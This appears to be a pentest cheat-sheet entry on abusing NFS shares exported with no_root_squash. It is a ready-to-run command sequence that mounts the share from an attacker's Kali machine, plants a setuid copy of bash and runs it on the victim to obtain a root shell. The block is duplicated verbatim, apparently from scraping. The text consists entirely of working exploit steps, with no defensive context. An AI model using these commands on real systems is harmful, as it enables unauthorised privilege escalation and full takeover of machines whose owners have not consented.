NFS no_root_squash/no_all_squash
#Kali root
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHARED_FOLDER>
./bash -p #ROOT shell
Last updated
#Kali root
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHARED_FOLDER>
./bash -p #ROOT shell
Last updated